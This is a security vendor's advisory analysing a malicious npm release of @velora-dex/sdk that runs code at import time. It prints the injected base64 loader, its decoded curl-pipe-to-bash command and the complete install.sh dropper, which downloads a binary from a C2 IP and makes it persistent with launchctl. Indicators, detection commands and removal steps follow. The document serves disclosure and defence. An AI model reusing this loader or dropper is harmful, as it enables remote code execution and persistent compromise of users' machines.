On April 7, 2026, a malicious version of @velora-dex/sdk (v9.4.1) was published to npm. The VeloraDEX SDK is a DeFi toolkit used for token swaps, limit orders, and delta trading on the VeloraDEX decentralized exchange platform. The compromised version contains code injected directly into dist/index.js that executes immediately when the package is imported. There is no install hook involved: the payload fires on the first require() or import call.
The injected code downloads a shell script from a C2 server at 89.36.224.5, which drops an architecture-specific macOS binary and registers it as a persistent service using launchctl. The malicious build was published straight to the npm registry with no corresponding commit in the source repository. You can find more details in StepSecurity AI package analyst here.

The compromise was initially reported by Charlie Eriksen from Aikido in GitHub isssue #233.
How the Attack Works
Step 1: Registry-Only Code Injection
The attacker published version 9.4.1 directly to npm without making any changes to the GitHub repository. Comparing the published tarballs reveals that only two files differ between 9.4.0 and 9.4.1:
package.json: version bump from9.4.0to9.4.1dist/index.js: three malicious lines prepended
No src/ files, no other dist artifacts (sdk.cjs.production.min.js, sdk.esm.js, etc.) were modified. This is a hallmark of a registry-only attack where the malicious build was crafted and published outside the normal CI/CD pipeline.
Step 2: Payload Injection in dist/index.js
The package main entry point (dist/index.js) had three lines prepended before the legitimate code:
'use strict'
const {exec} = require('child_process');
exec(`echo 'bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx' | (base64 --decode 2>/dev/null || base64 -D) | bash`, function(error, stdout, stderr) {});This fires the moment any code calls require('@velora-dex/sdk'). Unlike many npm supply chain attacks that rely on postinstall hooks (which can be disabled with --ignore-scripts), this payload runs at import time, making it harder to avoid.
The base64 decodes to:
nohup bash -c "$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)" > /dev/null 2>&1Key details:
nohupdetaches the process from the parent, so it survives even if the Node.js process exitscurl -fsSLdownloads silently, following redirects> /dev/null 2>&1suppresses all output so the user sees nothing- The
(base64 --decode 2>/dev/null || base64 -D)pattern handles both Linux (--decode) and macOS (-D) base64 implementations
Step 3: The install.sh Payload
StepSecurity's Harden-Runner captured the full install.sh script through process event monitoring during a controlled analysis run. Here is the complete payload:
TERMINAL_DIR="$HOME/Library/Application Support/com.apple.Terminal"
PROFILER_PATH="$TERMINAL_DIR/profiler"
mkdir -p "$TERMINAL_DIR"
if [[ "$(uname)" == "Darwin" ]]; then
if [[ "$(uname -m)" == "arm64" ]]; then
curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/arm/driver/profiler
else
curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/intel/driver/profiler
fi
fi
chmod +x "$PROFILER_PATH"
launchctl submit -l zsh.profiler -- "$PROFILER_PATH"The malware employs several evasion techniques:
- Path masquerading: The binary is placed in
~/Library/Application Support/com.apple.Terminal/, a path that mimics a legitimate macOS Terminal application support directory. A human reviewing the filesystem would likely skip over it. - Binary naming: The dropped file is named
profiler, a generic name that blends in with system tools. - Architecture-aware delivery: Separate binaries are served for Apple Silicon (ARM64) and Intel (x86_64) Macs, ensuring the malware runs natively on both architectures without Rosetta translation overhead.
- launchctl persistence: The
launchctl submit -l zsh.profilercommand registers the binary as a persistent macOS service. It will survive reboots and run as the current user without requiring elevated privileges. - Darwin-only execution: The
unamecheck ensures the binary download only occurs on macOS. On Linux CI runners (like GitHub Actions), the script runs but theifblock is skipped, meaning no binary is downloaded, but the C2 connection to89.36.224.5is still made whencurlfetchesinstall.sh.
Runtime Validation with StepSecurity Harden-Runner
StepSecurity ran the compromised package in a controlled GitHub Actions environment with Harden-Runner in audit mode. This captured the complete kill chain: network connections, process tree, and file system activity.

Network Events: C2 Contact Confirmed
Harden-Runner recorded the following network activity during the install-compromised-package job:
The first row is expected: npm install downloading the package from the registry. The second row is the malicious C2 contact: curl reaching out to 89.36.224.5 over plaintext HTTP to download the install.sh dropper. This connection happened during the require() call, not during installation, confirming the import-time trigger.
Process Tree: The Full Kill Chain
Harden-Runner's process monitoring captured every process spawned during the attack. Here is the complete chain from the require() call to the final persistence attempt:
node (PID 2379) // require('@velora-dex/sdk')
/bin/sh (PID 2386) echo '...' | base64 --decode | bash
base64 (PID 2390) --decode
bash (PID 2389)
curl (PID 2391) -fsSL http://89.36.224.5/troubleshoot/mac/install.sh
nohup bash (PID 2393) // executes install.sh
mkdir (PID 2394) -p ~/Library/Application Support/com.apple.Terminal
uname (PID 2395) // checks for Darwin (macOS)
chmod (PID 2396) +x .../profilerNotable observations from the process tree:
- Total time from import to persistence attempt: ~330ms (PID 2379 at 22:38:50.529 to PID 2396 at 22:38:50.888)
nohupwas used to detach the malware execution from the parent Node.js process, ensuring it continues running even if the importing script exits- On the Linux CI runner,
unamereturnedLinux(notDarwin), so the binary download was skipped, but the directory creation andchmodstill executed
View the full Harden-Runner insights for this run: Harden-Runner Insights Dashboard
Indicators of Compromise
- C2 IP:
89.36.224.5 - C2 URLs:
http://89.36.224.5/troubleshoot/mac/install.shhttp://89.36.224.5/mac/arm/driver/profiler(ARM64 binary)http://89.36.224.5/mac/intel/driver/profiler(Intel binary)
- Filesystem artifact:
~/Library/Application Support/com.apple.Terminal/profiler - Persistence mechanism:
launchctlservice namedzsh.profiler - Compromised npm package:
@velora-dex/sdk@9.4.1 - Base64 payload:
bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx
Am I Affected?
Code Repositories
Search for the compromised version across all PRs and default branches in your organization:
Search for @velora-dex/sdk@9.4.1 across your organization →
You can also search your codebase directly:
# Search for the compromised version in lockfiles
grep -r "velora-dex/sdk" --include="package-lock.json" --include="yarn.lock" --include="pnpm-lock.yaml" .
# Check if version 9.4.1 is installed
npm list @velora-dex/sdk 2>/dev/null | grep 9.4.1CI/CD Pipelines
Check your Harden-Runner org baseline for any outbound connections to the C2 server:
Check for connections to 89.36.224.5 in your Harden-Runner baseline →
If 89.36.224.5 appears in your baseline, the compromised package was imported in one of your workflow runs and successfully contacted the C2 server.
Developer Machines
Check for the malware on macOS machines:
# Check for the dropped binary
ls -la ~/Library/Application\ Support/com.apple.Terminal/profiler
# Check for the launchctl service
launchctl list | grep zsh.profiler
# Check npm cache for the compromised version
find ~/.npm/_cacache -name "*.tgz" 2>/dev/null | xargs strings 2>/dev/null | grep "89.36.224.5"
If you use StepSecurity Developer MDM, you can search for this package across all enrolled developer machines:
Search developer machines for @velora-dex/sdk@9.4.1 →
Recovery Steps
1. Pin to a safe version
npm install @velora-dex/sdk@9.4.02. Remove the malware (macOS)
If the compromised version was installed or imported on a macOS machine, remove the dropped binary and persistence mechanism:
# Stop and remove the persistent service
launchctl remove zsh.profiler
# Remove the dropped binary
rm -rf ~/Library/Application\ Support/com.apple.Terminal/profiler
# Remove the entire fake directory if empty
rmdir ~/Library/Application\ Support/com.apple.Terminal 2>/dev/null3. Rotate credentials
Treat any secret that was present on the machine at the time of installation as compromised. This includes:
- npm tokens and GitHub personal access tokens
- SSH keys (
~/.ssh/) - Cloud provider credentials (AWS, GCP, Azure)
- Environment variables containing API keys
- Browser-stored passwords and cookies
- Cryptocurrency wallet keys and seed phrases
4. Review network logs
Check firewall or proxy logs for outbound connections to 89.36.224.5. Any connection to this IP confirms the malware executed and may have downloaded additional payloads.
Defense in Depth: How StepSecurity Protects Against This
Block C2 Traffic with Harden-Runner
Harden-Runner monitors all outbound network connections from GitHub Actions runners. In block mode, it would have prevented the curl call to 89.36.224.5 from succeeding, stopping the attack before the binary could be downloaded.
Catch It Before Merge with Package Cooldown
The npm Package Cooldown Check blocks newly published package versions from being adopted in pull requests until a configurable waiting period has elapsed. If a PR had introduced the upgrade to @velora-dex/sdk@9.4.1, the check would have flagged it as too new to trust.
Block Known Malicious Packages
The npm Compromised Package Check maintains a database of known malicious packages and blocks them from being introduced in pull requests. StepSecurity has added @velora-dex/sdk@9.4.1 to this list.
Discover Affected Developer Machines
StepSecurity Developer MDM provides visibility into which npm packages are installed on developer machines across your organization, enabling you to identify affected machines within minutes of a compromise disclosure.
Reference
- StepSecurity OSS Security Feed: @velora-dex/sdk@9.4.1
- Harden-Runner Analysis Workflow Run
- Harden-Runner Insights Dashboard


.png)
